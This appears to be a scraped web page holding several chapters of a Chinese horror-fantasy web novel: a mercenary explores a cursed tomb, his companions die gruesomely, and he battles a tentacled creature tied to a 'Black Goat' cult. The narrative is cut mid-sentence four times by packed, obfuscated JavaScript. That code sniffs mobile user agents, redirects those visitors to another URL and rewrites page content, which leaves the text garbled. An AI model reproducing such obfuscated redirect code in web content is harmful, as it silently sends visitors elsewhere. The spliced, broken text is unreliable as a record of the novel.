RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13026423|136825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 久,就到了走廊的尽头。原来这墓穴不止一层,走到头了还有洞口,数道台阶盘旋而下。 几人下到二层,发现这里的空间远比上面要大得多,庞大的石柱上刻着某种神秘未知的图腾,在灯光照射下,彼此错落有致地构成一座柱廊,从楼梯口远远望去,简直像是走进了地下的巨型宫殿。 看不见五指的黑暗在这层墓道内蔓延,就算有再多的齿轮,也无法在这片区域中指出方向。 路远寒拿出罗盘,想要辨别一下方向,却发现此地磁场紊乱,指针不稳定地到处乱飘,也只能先收了起来。他握着手杖,控制好力度在地面上划下一道叉痕,不至于让人看出异物的影响。 他对其余人说:“每走十步做一次标记,只要回头对照前面的痕迹,就能判断出走的是不是直线了。” 路远寒的要求是让欧文走在前面,这样一来,他做标记的时候就不至于被人从背后偷袭。由于刚才发生的事,其他成员都没有意见,欧文也只能照着他所说的去做。 几人一边做着标记一边前进,在浓重如雾的黑暗当中打头并不是件容易的事,欧文手中持着探照灯,鬓角两侧已经隐约冒出汗来,一双眼睛警惕地环顾着前方的环境,提防着随时都有可能遇到的危险。 路远寒手上的杖端一顿,发现脚下的灰尘正在被震起,随着地面的颤动,一阵怪异的响动由远处逐渐逼来,像是马蹄踏过地面的声音。 然而这座地下墓穴百年都不曾见过天日,怎么可能还有活物的存在? “不好!” 路远寒朝着旁边闪去,其他人也反应过来,纷纷避开了那从黑暗中袭来的东西。只见一柄漆黑的长矛钉进地面,紧随其后的是一匹体型健硕的幽灵战马,那马背上坐了个披着铠甲重装的骷髅骑士,正用他那空荡的眼洞注视着这几个闯入者。 他抬起指骨,那长矛就从地上飞起,回到了黑骑士的掌心。 这具骷髅身高超过三米,比众人在墓室里见到的尸身都要强大,像是盯上了队伍最前方的欧文,朝着他的方向策马奔去。 欧文并不是会坐以待毙的人,一发现情况不妙就撒腿跑了,他毫不犹豫地拔枪扫射,然而造价不菲的子弹倾泻在那具骷髅身上,竟然一点效果都没有,被震得统统弹了回来。 马蹄踩塌的地面裂开数道缝隙,瞬间蔓延到了欧文脚下,让他摔倒在地。望着即将朝他劈来的矛头,一阵绝望在欧文内心升起。 就在这时,一道黑影闪过,打在了轰然落下的矛身上,两种武器彼此对撞,激起的气流瞬间荡开尘土,而后一段段碎裂的竟然是黑骑士手上的长矛。灵活窜出的机械手伸展开卷在欧文的腰侧,立马将他拖到了旁边。 路远寒握着杖柄的右手都被震麻了,他本不想暴露异物的存在,但眼前的情况太过棘手,不把敌人就地解决的话,恐怕他们无法继续前进下去。 他冷静地抬起头,对上那骷髅骑士的视线。 20. 等待进入网审 黑骑士手上已然没有了长矛,此刻将目标换成了路远寒,脚下烧着黑焰的马蹄声势浩大地碾过地面,被手杖扫得高高扬起,让路远寒目光一闪:异物能碰到这匹幽灵马,那就是好事。 他朝身后的机械改装人喊道:“缠住这具骷髅的脖子!” 那人立刻会意,从他肩膀两侧各伸出一只细长的机械手朝着马背上的骷髅猛然挥去,一圈又一圈弹簧索极为柔韧地缠绕着颈骨,将黑骑士固定在了原地。 趁着那双骨节衔接而成的怪手正要撕开束缚,路远寒握着手杖扫出一圈弧线,竭尽全身力量,将杖端打在马蹄上。那双威猛的前蹄应声而断,幽灵马顿时跪在了地上,黑骑士无法控制地朝着前方栽倒,正等待着机会的路远寒一跃而起,用手杖对准那颗脑袋重重劈下。 在他这一击之下,骷髅的颅骨被砸得当场裂开,残缺的脑壳滚落在地面上,毫无生气,而没有了头的尸体竟然还在行动,撑着幽黑发亮的铠甲一步一步向前挪动。 直到路远寒将他身上每一块黏连的骨头都打散砸碎,再由巫医撒上某种驱邪的药物粉末,那名骷髅骑士才算是彻底没有了动静。 路远寒试验了一下,发现他的手果然触碰不到幽灵马的残骸。 那具骷髅虽然有实体,但他的坐骑却不是活着的生物,只有通过异物才能接触到它,要是没有手杖,恐怕只有机械改装人才能攻击到马背上的黑骑士。 在那种情况下,他们必死无疑。 路远寒捡起一块破碎的骨片,发现这东西的边缘极为锋利,甚至能够在石柱上划出明显的刻痕。他将能用上的骨片装进刚才拿到的封存袋里,至于那副铠甲,除了体型高大的骷髅骑士以外没有人能穿上,但就算如此,也是他们拿到的第一件战利品,现在的问题是应该怎么分配。 想到这里,路远寒站了起来,审视着队伍中的其他人。 独眼男人伤势严重,眼中虽然流露出一丝渴望,却没有再像之前那样急躁,显然也知道自己现在是群体中最弱势的一个,在这件事上没有话语权。欧文惊魂未定,正用复杂的眼神注视着路远寒,几次想要开口,却又面色难看地压了回去。 而巫医对这副铠甲似乎不感兴趣,唯一剩下的,就是同样参与到战斗中的机械改装人了。 从那略有磨损的金属外壳下,传来他沉闷的声音:“我愿意出一千帝恩币,买下这副铠甲。” 这倒是让路远寒吃了一惊,机械改装人出的数目比市场上异物的平均价格还要溢出一些,甚至超过了这次委托的报酬,看来这副铠甲对他有着非同寻常的价值,路远寒倒也不介意将东西让给对方。 “可以。”他点了点头,指着地上的铠甲,“但是你要怎么带走它?这东西应该相当沉重,你要是想放到楼梯口去,那就得循着标记往回走。” 随着机械改装人脑袋上冒出一股股蒸汽,他的双腿竟然被折叠起来改造成了一座金属平台,由两侧的履带牵引着他的移动,而那双机械手极为灵敏,拖拽重物也不在话下,很快就将铠甲搬到了平台上。 这倒是挺方便的,路远寒在心中点评。只是不知道他将身体机械化到这种程度,是不是请工匠改装的,要真是那样的话,恐怕需要相当高昂的费用,也难怪对方一出手就如此阔绰。 休整好的几人继续向前探索,心中都是万分警惕,在这种开阔空旷的环境中,任何一点细微的响动都会被捕捉到。 路远寒刚在地上做好一道标记,忽然听到欧文略显迟疑的声音:“这些石柱上的图腾有些诡异……” 他举着探照灯抬起头,将光线打在旁边巨大的石柱上,那些雕刻的痕迹经过数百年,纹路的缝隙间已经积攒了厚厚的灰,只能隐约看到扭曲的线条纠缠在一起。随着路远寒用手拂开灰尘,他也看到了浮现出的图腾:一只又一只眼睛从高处垂下睫毛,在它们的注视下,无数渺小的人类跪在地上,仿佛在祭拜着什么…… 路远寒思忖着,石柱上的纹路像是某种祭祀仪式,但这些图腾看起来相当古老,与上层墓道中黑死病的时期又有了断代。他内心的疑惑越来越浓重,难道每一层墓道都是在不同时期建造而成的? 他绕着石柱转了一圈,在背面发现了那些人祭拜的东西。神台之上,无数条长着吸盘的腿托起一团盘错蠕动的物体,脊刺上的头部被大小不同的眼珠和一张怪嘴填满,呈现出难以描述的诡异。 “咔咔……” 就在路远寒观察图腾的时候,石柱上方的眼睛也紧跟着他一点一点转动。 他意识到了那些视线的存在,却没有抬头直视上面的东西,而是提着探照灯远离了石柱,并提醒其他人也不要再看那些东西了。 然而欧文的视线却着魔一般黏在雕刻的纹路上,那些图腾有着蛊惑人心的神秘力量,在他眼中变得栩栩如生,让欧文面上的表情从困惑、惊疑逐渐转为喜悦,甚至到了痴醉的程度。 他试着解读图腾上的内容,飞快地说:“这些人似乎会将名贵的陪葬品带进墓中,那么跟着图腾的指引,就能找到这一层的宝物。” 听他这么一说,众人顿时都有了反应。柱身上的线条缓慢蠕动着,凝聚成十多只无形的鬼手,为他们指引着前进的方向。 独眼男人和欧文走得最快,已经走过了几道石柱,路远寒皱了皱眉,刚要叫住他们,却感觉到自己的身体僵住了,两条腿不受控制地朝着未知的方向走去,就像这具躯体里藏着另一个人,正要带着新生的血肉回到他的巢穴。 见其他人一个接着一个走上前,机械改装人却没有紧随其后,他拖着极为沉重的铠甲,那力量似乎推不动他的身体。他在原地犹豫了片刻,最后还是伸出一只机械手,弹簧索钩在路远寒腰上缠绕几圈,让他停了下来。 他看见这个猎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13039014|136825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魔人的皮肤竟然诡异地微微颤动着,片刻后又恢复了平静。 被机械手这样一拦,路远寒的腿还在试图往前走,思绪却已经重新运转了起来。他握紧手杖一端用力砸在旁边的石柱上,瞬间将半侧柱身打得四分五裂。 倾塌的石柱摇晃着朝一旁倒去,又撞断了相邻的廊柱,尘土飞扬,引发的巨响震耳欲聋,让前面几人也茫然地停下脚步,似乎摆脱了图腾的控制。 不知道谁的探照灯脱手而出,骨碌碌滚到一边,照亮了出现在他们眼前的场景。 欧文提到的陪葬品竟然真的存在,无数美酒珍馐、油膏香料倾泻一地,在耀眼的金沙中簇拥着一座又一座华美的雕塑,而在雕塑背后,则是一艘仿佛航游在海水中的帆船,华盖下坐着身份高贵的主事人,几名舵手在前方驾驶,甲板上更是堆放着数不尽的珍珠翡翠。 欧文喃喃道:“图腾说的果然没错……” 他呼吸急促,面上浮现出一种不正常的酡红,已经不想再跟其他人废话,持着枪就冲向了那艘满载财物的帆船。独眼男人和巫医跟了上去,机械改装人将铠甲放下,此刻也在周围搜寻起需要的物品。 路远寒却没有动,眼前的一切确实唾手可得,要是能将这些宝藏带出去,想必后半生都不用再冒险了。 但同伴的表现让他心存疑虑,欧文城府颇深,不是一个头脑简单的人,现在却比独眼男人还要狂热,那就意味着图腾的影响并没有消失,仍然盘旋萦绕在他们身上。 他蹲下去捻起一撮金沙,这些细小的颗粒看上去既梦幻又华贵。路远寒松开手,金沙竟然没有从指缝流下去,而是黏在了他的指腹上。 路远寒面色一变,再仔细看去,他手上哪里是什么流光溢彩的金沙,而是翕张的虫卵。 近乎透明的薄膜下覆盖着幼小的虫身,这些密密麻麻的虫卵流淌在地面上,就像是在阳光照耀下闪烁的河水。 然而有两人已经上了船,路远寒用刀尖削下指腹上的虫卵,抬头望去,只见他们捧着的不是装宝藏的器皿,而是一截截血肉模糊的肠子与骨头。那两人已经满手血污,却还欣喜若狂地往怀里揽着腐臭的血肉,只是他们很快发现拿到的财物黏在手上,随之也就看到了伪装下的真相。 欧文和独眼男人满面惊恐,想要将手上骇人的东西扔出去,只是无论怎样都甩不开。那些断掉的肠子和骨头逐渐融化成几滩冒着黑水的糊状物,在两人的皮肤上腐蚀出无数个鼓囊的脓疱。 随着隆起的小包一个又一个爆开,惨叫声也不绝于耳。 见到这种怪状,其他人顿时也不敢再碰任何东西,迅速聚成了队伍。刚还富丽堂皇的大船现在已是一片沉着尸体的遗骸,忽然从不远处响起一阵空灵的声音,几双瘦骨嶙峋的鬼手抬着座车辇从黑暗中幽幽飘来。 只是那座驾上空荡无物,就像是有一个看不见的人坐在上面。 21. 门后 那座车辇慢悠悠停了下来。奇怪的是,虽然除了那些鬼手什么也没有,路远寒却能感受到有目光正扫视着在场的每一个人。 路远寒观察着眼前没有封顶的车辇,座驾通体由黄金制成,鬼手抬起的撑杆上雕刻着精细的纹路,只是上面的图案狂乱而诡异,在雍容华贵之下又有一种阴冷的湿气。两侧都有不少鬼手恭敬地抬着车,中间的座位却微微凹陷下去,仿佛被重物压着一样,让他瞬间想象到一座臃肿发胖的佛陀。 面对未知的情况,几人都没有轻举妄动,只是屏住呼吸,试着悄悄往后退去。 不知道是谁踩到了虫卵,卵壳黏腻破碎的声音从地上响起,那些鬼手像是得到了什么命令,随着车辇轰然落地,朝着欧文飞扑而去,迅速攥住了他的肩膀和四肢。 被抓到的地方浮现出乌黑的指痕,随后鬼手们将人抬起,欧文立刻开了枪,然而子弹对这些幽灵般的存在不起作用,他的身体不受控制地缓缓浮到了空中。 他的手臂和双腿被无数只鬼手缠着,朝着不同的方向用力拖拽而去,在众人惊悚的注视下,欧文像一片纸页被慢慢伸展摊平,随即被撕得四分五裂,从断口处喷涌出的鲜血下了一场骤雨,只剩那连着脑袋的躯干落在了地上。 而他血淋淋的右腿则被鬼手献到了车辇前,只见撕裂的肢体就像被人拿着一样飘到了座驾上,随即传来一阵剧烈的咀嚼声,紧接着是左腿、两臂……欧文绝望地见证着自己的四肢被吃掉,甚至还能看到那张嘴撕扯食物而在皮肤上留下的咬痕。 极端的痛苦让他说不出、喊不得,活生生成了一座血泊中的雕塑。 只是那怪物的胃似乎还没有被填饱,苍白劲瘦的鬼手再次袭来,拖走了还在嚷嚷着的独眼男人。他和欧文落得一样惨烈的下场,如同两尊肉制器皿安静地插在深红的地面上。 只是探了两层墓道,就已经死伤过半,这座地下墓穴的危险程度远超过了所有人的想象。 就在这时,巫医高举双手,嘴里含混不清地念叨着什么咒语,黑袍下弯曲的脊背也隆得越来越高,像是长了无数肉瘤,然而那些东西破裂时却发出了令人心悸的惨叫声,紧接着一道凭空出现的黑洞将车辇笼罩在下方,阴鸷的鬼手和佛陀都被吸了进去,那两具还在微微作颤的人彘也朝着缝隙飞去,一瞬间像是进了绞肉机,被引力撕扯成漫天的血花肉糜。 巫医召唤出那黑洞就跑了,显然也知道在场的人无一能够幸免。 路远寒见势不对,早就抱住旁边的石柱,紧贴着石壁躲在了柱身背后,借此来抗衡黑洞的吸引力。机械改装人被掀起到一半,紧急用弹簧索套住那艘船上的桅杆,在狂风呼啸下摇摇欲飞,而那桅杆隐约有些支撑不住,随时都有断开的风险。 这人到底是什么来路?路远寒揣测着。 经过一路的观察,他发现巫医身上的疑点最多:对墓葬中的财物不感兴趣,也不会参与到其他人的纠纷中,身上带着神秘的气息……直到巫医召唤出极其危险的黑洞,路远寒才确认他另有目的。 尽管巫医的身影已经缩小成了一个游动的光点,路远寒还是迅速捕捉到了他的位置。他回头看了一眼机械改装人,判断出对方马上就要死了,便从背后伸出无数条触手,勾缠着一旁的石柱纵身跃了过去。 重复几次之后,路远寒便追上了巫医。对方没有回头,似乎将他当成了墓穴内的邪祟,飞快地朝着下一层的洞口奔跑,二话不说就跳了进去。 路远寒收起触手,也跟着下了墓道。只不过这纵身一跃,竟然跌进了冰冷的海水中,潮水涌进他的鼻腔口齿,让路远寒连着呛了几口水,剧烈地咳嗽起来。这感觉格外熟悉,就像他从黑珍珠号跳海的那一次。 一个念头在他心中浮现:难道这墓穴并非完全封死,而是和地海连通的? 路远寒朝着旁边游去,水位很快变得浅了很多,他走上湿漉漉的沙地,打量着周围的环境。刚才跳进来时他的探照灯离身了,此刻正漂浮在水上,照亮了附近的区域。 路远寒看到不远处有座开了盖的棺材,棺身一半陷落在沙滩上,另一半则浸没在海水中。而那棺中是一具保存完整的骷髅,漆黑的骷髅头看起来极为不详,尸首的双臂抱着一个紫檀木盒子,上面还有着层层禁纹,仿佛在封印着底下那诡异的存在。 那是什么?他不由得向前靠近了些。 随着路远寒一步步走近,棺身上雕刻着的神秘文字也浮现在他眼前,看起来神圣而高贵,每一句都像是神主的诫言,与之前遇到的所有墓葬棺材都截然不同。 看来此处才是真正的墓室,路远寒想。 没等他看清棺身上的内容,就有人从旁边蹿了过来。巫医那浮囊可怖的脸庞在路远寒面前闪过,他的眼睛竟然一片煞白,完全没有瞳孔,涨起的血管一下又一下鼓突着,像是蠕动的爬虫。 路远寒没有和他争抢,看着巫医整个人靠在棺材上,颤颤巍巍地伸手打开了檀盒。 盒中托着的竟然是一条舌头,那条舌头已经沉睡了数百或者上千年,现在还鲜红欲滴,舌尖淌下湿漉漉的涎水,仿佛刚从某人的口腔里摘下来一样。 那盒子一经打开,就像是解除了封印,只见那条舌头颤动几下,被灌水泡胀了似的变得越来越长,看上去就如同一条蜿蜒的蟒蛇,湿冷地缠住了巫医的脖子,他越挣扎陷得就越深,直到在他脖颈肉里勒出上吊一般的绞痕。 “嗬嗬……” 巫医被掐紧的喉咙里挤出一声嘶哑又诡异的鸣叫声。 他脸上浮现出一片将要窒息的青紫色,而那舌头像是从巫医颈动脉上汲取着血液,在灯光下显得格外鲜艳。路远寒见情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13050951|136825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 况不妙,已经做好了远离此地的准备,但那装舌头的盒子让他相当在意,要是它能容纳邪祟异物,按理来说也能容纳教会里的那根脐带。 路远寒目光一闪,悄无声息地靠近棺材,从地上揣起盒子就跑,而背后的舌头似乎并没有追来的意思,仍然厮缠着巫医不肯松开。 路远寒朝着远离海水的方向奔跑,片刻后看到了一扇仿佛从上古世纪遗留下来的门,在门后似乎有间密室。不知道为什么,一看到这扇门,路远寒就感觉它在冥冥之中呼唤着自己,隐隐从门缝中渗出黑色的雾气。 难道这就是罗德里厄口中所说的门? 路远寒停了下来,要知道罗德里厄家族的人都是诅咒缠身,在临死前才看到的幻觉,他们所说的门也更可能是一种邪诡的存在。 他思考片刻,态度谨慎地从掌心伸出一条黏滑触手,搭在了门环上,随着那扇无名之门缓缓被推开,门后的密室也出现在了路远寒面前。密室内空间狭小,不过一间卧室的大小,看到地面上由鲜血铸就的图腾,他瞬间如遭雷劈,僵在了原地,连头皮都因震惊而隐隐发麻。 那本书真的离开自己了吗?路远寒一阵毛骨悚然,为什么通灵书里的法阵会出现在这里,出现在数个世纪以前的墓葬中…… 黑死病、祭祀之神、断代的墓室,这一切都冲击着他的认知,路远寒扶住墙壁,感觉到身体险些又要在刺激之下崩溃解体,好在他及时控制住了沸腾的触须,强迫自己冷静了下来。 他的视线越过法阵,打量起密室里放着的十字架。那巨大的十字架上钉着某种生物干瘪的表皮,在木桩上隐约能看到黑色的痕迹。 传闻十字架是古罗马帝国一种处置叛徒的刑具,用于让犯人慢慢死亡,不知道那体型庞大的生物因为什么被绑在这里,又遭受了多久的折磨才死去。 就在路远寒思考之际,巫医跌跌撞撞地闯了进来,他竟然还没有死,一双煞白的眼睛已经被鲜血覆盖,看到那法阵就跪了下去,像是癫狂了似的仰天大笑着。那古怪的笑声到了他喉咙处就变成一阵模糊的嚎叫,巫医整个人瘫倒在法阵中央,黑袍下的身躯融化成一地血水:“伟大的、伟大的森之黑山羊啊……” “祢是万物之母,孕育千万子孙!” “恳请您赐予代理者行走世间的权限,揭晓生命的宏伟……” 在他越来越凄厉的惨叫声中,一团裹挟着无数血肉触手的雾气笼罩了这座法阵,从那浓雾后走出一只体型庞大的畸变物。 祂的前肢粗壮如蹄,像是鬈曲错乱的树身,躯干的轮廓酷似树冠,从那团块上延伸出无数黑色的鞭状触手,盘旋在狭小的密室,就像是一滩滴着黏液的黑云。祂躯干上裂开的大嘴一张,将信徒献上的血肉叼进去嚼得汁水迸溅,巫医那颗死不瞑目的脑袋砸在地上,被祂一脚碾碎。 22. 眷者 路远寒旁观着祂尽情享用巫医的血肉,而祂也用那无数张血肉模糊的大嘴对着路远寒,就像在注视着他一样。 随着那沉重的兽蹄迈出法阵,路远寒迅速后退,身上的触手飞射而出,挡下了猛然朝着他脑袋抽来的黑鞭,两种湿滑而黏腻的触手交织在一起厮杀,难以分辨出哪条是他的,哪条又是怪物的。 在这样近距离的观察下,路远寒甚至能看到那些口腔里淌着血水的肉块、牙缝间鬈曲的发丝,腥膻发臭的气息扑面而来,将这些细节缝合在一起,就构成了祂吃人的飨宴。 只是祂的身躯并非渺小的人类能够比拟的,路远寒能感觉到触手上强硬无比的力道,他面色涨得通红,颈上已有盘曲的青筋突起,再撑片刻,就是不被对方的触手碾碎,他自己也要爆体而亡了。 随着他心念一动,从天而降的蜘蛛砸在了蠕动的肉团上。 那对螯肢紧咬在触手根部,毒液迅速顺着尖牙注入筋肉皮下,让那条触手表面浮出一个又一个脓疱,不受控制地开始痉挛打颤。 路远寒杀意毕露,缠在它表面的触手趁势盘旋而上,在根部越收越紧,瞬间将这条湿漉漉的腕足绞断,黑血迸溅,倾洒而出的血液泼了他一身,他从头到脚都被黏腻的肉糜覆盖,唯独一双眼睛在密室中幽幽闪着光。 他的触手勾缠着那截断掉的血肉,从表面裂开一张张具有细密尖牙的嘴,撕咬着怪物身上的触手。被吞噬下的肉团顺着血管输送到路远寒体内,在他强大的消化能力下迅速转化为可供利用的养分。 与之前那次吞食神嗣不同,路远寒生吃着怪物的血肉,却没有感觉到身体内有任何排斥。他猜测自己与祂是同源的,他们的力量都来自同一个地方,也就是墓葬中被崇拜着的存在。 森之黑山羊……路远寒默念着这个名讳。 那怪物显然被蜘蛛惹恼了,巨大如树冠布满褶皱的肉块震怒地起伏着,似乎想要张嘴咬住蜘蛛的下足。然而祂的触手都被路远寒牵制着,蜘蛛爬行时又极为灵活,直到祂的触手被一根接着一根咬断,那恐怖狰狞的身躯轰然倒地,也没能伤到蜘蛛的一根毫毛。 解决了面前的怪物,路远寒才松了口气,将正等待着他指令的蜘蛛送回了梦境。 那些触手已经填饱了他饥肠辘辘的肚子,但怪物的躯干仍然倒在地上投出庞大的黑影。为了防止对方死而复生,路远寒再一次放出密密麻麻的触须,让它们扫荡着这具尸体的残骸。 路远寒观察到,抛开祂黑树般的身躯,那极为粗壮的足部看起来就像是羊蹄,让他不由想到了秘语者贴的悬赏告示,上面对于月之镜守护者的眷族的描述,与这怪物极为相似。 难道巫医口中的森之黑山羊,就是所谓的月之镜守护者? 路远寒眉头紧皱,没有足够的证据,还不能断定他的猜想就是正确的。但那神秘的存在无疑已经延续了上千年,或者更久,从石柱上的图腾和这密室的存在就可以推断。 他思考着,罗德里厄家族又是因为什么才被诅咒缠上,在癫狂中看到了这扇门? 他的视线掠过十字架上干瘪的表皮,忽然间灵感涌现,有了一个可怕的猜想。这间密室,不会就是黑山羊的信徒们为了处置背叛者而建造的吧?而且从木桩上那些诡异的痕迹来看,背叛者恐怕不是人类,而是一个浑身长满触手的怪物。 路远寒尚未理清头绪,眼前倏然陷入了一片漆黑,朦胧的雾气将他笼罩在其中。 此时此刻,狭小的密室仿佛成了无边无际的空间,他想要转身离开,身体却僵在原地一动不动,连触手都显得安静极了,有某种无形的力量在控制着他缓缓抬头。 路远寒看到一团不断翻滚的血肉之雾飘浮在上空,从那猩红的雾气中延伸出无数张淌着涎水的嘴、无数条湿滑发黑的触手,一块又一块隆起的肉团在雾气中蠕动溃散,不时凝成几条粗厚扭曲的前腿。而在这层难以名状的诡异之下,是无尽欲望的深渊,仅是触手的末端就足以扫平整个霍普斯镇,要是祂从深空降临在黑区,必将让大地都皲裂开来,而城镇也将陷进海水当中。 在看到祂的一瞬间,路远寒就失去了意识。 他隐约感觉到身体被某种巨大的触手托起,那种黏滑的触感让他以为自己置身在温热的卵壳里,诡异的液体依附着他的指尖,又蜿蜒着攀上躯干,朝着他的鼻腔涌去。 从鼻腔灌进喉管的液体顺流而下,在他的胃袋里翻涌激荡,仿佛一只鬼气森森的手从内部挤压着他的内脏,让路远寒咳嗽出几口乌黑带血的黏液。 他体内的触须被液体浸透,竟然开始滋长,像一颗又一颗种子在皮肤的掩盖下蠕动发芽,蔓延的枝叶代替了毛细血管,而那颗肉做的心脏被黑色的织网覆盖,钢铁一般镶嵌在胸膛正中央的位置。 在无边的黑暗之中,路远寒感觉自己在不断下坠、下坠,再下坠,那失重感席卷着他的周身,仿佛从高空一直坠落到了地心。 即将摔得粉身碎骨的前一秒,他猛然睁开了眼,发现自己还在密室中躺着。 路远寒挣扎着爬了起来,刚才看到的一切在他脑海中已经变得模糊不清,但他仍然记得那种对于未知的恐惧。他无法回想起对方的真容,但那庞大无名的存在似乎并没有敌意,否则也不会让他回来。 他的心情不由得有些沉重,这是否意味着自己已经成为了祂的眷者? 事已至此,路远寒索性不再多想,他深深望了一眼地上的法阵,随即带着盒子走出了密室。巫医的探照灯在门口放着,被他拿了起来,只是灯罩被海水浸过一次,散发出的光显得有些黯淡,路远寒必须加快步伐,才能在灯光熄灭之前回到墓穴入口。 路远寒一路疾跑着,这具身体被改造过一样变得迅猛而轻盈,就像是准备咬下猎物头颅的黑豹,浑身充满了力量感,他甚至感觉到隐隐有种要长高的趋向。 不过片刻,他就回到了那具棺材所在的地方。海水冲刷着棺木腐化的边缘,而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13064935|136825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那条舌头已经不知所踪,鉴于它那危险的表现,路远寒保持着高度的警惕,以免像巫医一样被对方缠着脖颈无法行动。 他走近棺材,看到在那具骷髅头顶上的地方镌刻着一行小字:费尔南·罗德里厄。 看来这是罗德里厄家族的一员,只不过按照墓葬存在的时间,恐怕是他们相当久远的祖先。路远寒盯着那黑漆漆的头骨,一时间有些犯难。他现在很擅长猎杀怪物,但要论起驱邪,确实是一窍不通,恐怕连巫医的小拇指都比不上。 他并没有纠结太久,毕竟罗德里厄家主给他们下达的任务是尽可能探索墓穴,并想办法解决诅咒的源头,无论事情成败都有报酬,将这枚头骨带回去也算是完成任务。 路远寒观察着周围的环境,确认并没有可以触发的陷阱后,才小心翼翼地用触手卷起头骨,将它绑在了背后。 他向着海水中走去,伸展开的触手吊着探照灯在空中照亮了来时的洞口,先将灯身放下,随后扒着地面边缘,将他的身体拉了上去。 这层墓道中的黑洞不知何时已经消失了,那些神秘石柱倾倒一地,遍地都是破碎的肢体肉糜。 路远寒走在其中,忽然留意到一个反射着灯光的金属外壳,他走过去捡起外壳,才发现这是机械改装人的脑袋,脖颈处的断口血淋淋的,而他的身体早已被黑洞吸走。 看来这一千帝恩币是打水漂了,路远寒想。黑骑士身上那副铠甲也已经不见了,好在他拿到了檀木盒子,也不算毫无收获。 身上已经带了太多东西,路远寒便也没有再为他收殓。他轻车熟路地返回最上层墓道,趁灯光熄灭前离开了墓穴,雨水倾盆而下,罗德里厄家主那张惨白的脸也出现在了他面前。 那把伞下的脸庞消瘦而枯槁,嘴唇灰黑发紫,从深邃的眼窝中流露出一种阴郁的死气,就像是从墓中被剖出来的尸体。他盯着路远寒,充满斑点的眼睛缓慢无比地转动着,片刻后才开口问道:“就你一个人?” 任谁被这样注视着都不会舒服,更何况罗德里厄家主出现得相当诡异,就像是在他们走后又折返洞口,等待着那未知的结果一样。 路远寒却视若无睹,将那黑气萦绕的头骨拿了出来。 “其他人都死了。”他说得轻描淡写,“这是在最下层一具棺材里找到的,名字是费尔南·罗德里厄,你可以带回去查族谱,或者寻找什么解决的办法,但要先把报酬结清。” 一见到这颗头骨,男人竟然像被吓到了似的连着后退了几步,侧过身避开直视那骷髅,只是挥了挥手,让旁边的仆从拿走头骨,将一个箱子呈到路远寒面前。 路远寒打开箱子,里面赫然是数不清的金条。他抬头望着罗德里厄家主:“这似乎超过了我们约定好的报酬,先生。” “既然他们死了,那就归你了。你的任务……完成得很好。” 男人的声音在平静中微微发颤,仿佛他面前站着的是一个刚从地狱爬上来的恶魔。 23. 保镖 路远寒没想到,失去了墓穴中所得的铠甲,出来后倒是捡了一笔漏。六人的报酬归他所有,共四千八百帝恩币,而他卖掉诊所也不过是这个价钱,就这样轻而易举给了一个雇佣兵,可见罗德里厄家族的底蕴有多么雄厚。 事情已经结束,他没有再留下的必要了。更何况男人看他的眼神如同看着一个幽灵,路远寒觉得自己再待下去,恐怕也只能让对方血压升高。 雨水顺着他乌黑的发丝滑下,一滴滴打在地上。怪物临死时浇灌在他身上的满身血迹,已经在海水中被洗刷得一干二净,只有他披风的下摆被浸得殷红,仿佛随时都会滴下血来。路远寒接过仆从递来的伞,返回了霍普斯镇。 经过这次委托,他的积蓄到达了五千四百帝恩币,这让路远寒心下略微有了一点底气。他将金条存进账户,又到秘语者翻看了一会悬赏单,才心满意足地回了红十字街。 与诊所在的那一条街道不同,红十字街的房屋相邻而建,或许是由于市集商铺都聚集在这一带,因此比霍普斯镇上其它地方都要热闹得多。 即使阴雨连绵,红十字街的居民也会在屋前撑起透明雨棚,在棚下点一盏灯,暖光幽幽照在地面上,落在棚布上的雨滴透过灯光照射,就如一个又一个斑斓的光点。 路远寒回到公寓的时候,正好碰到房东老太太出门。 她大约五六十岁,两鬓灰白,却是个很爱美的人,经常戴着一件千鸟格流苏披肩,看见这个修长而漂亮的年轻人,脸上顿时浮现出和蔼的笑容:“奥斯温,你回来了。要不要尝一点我刚炖的牡蛎汤?” 路远寒留意到,她双手带有厚手套,捧着一碗热气腾腾的汤,似乎正想给邻居送去。 “好吧……辛普森太太,您真是慷慨又美丽。” 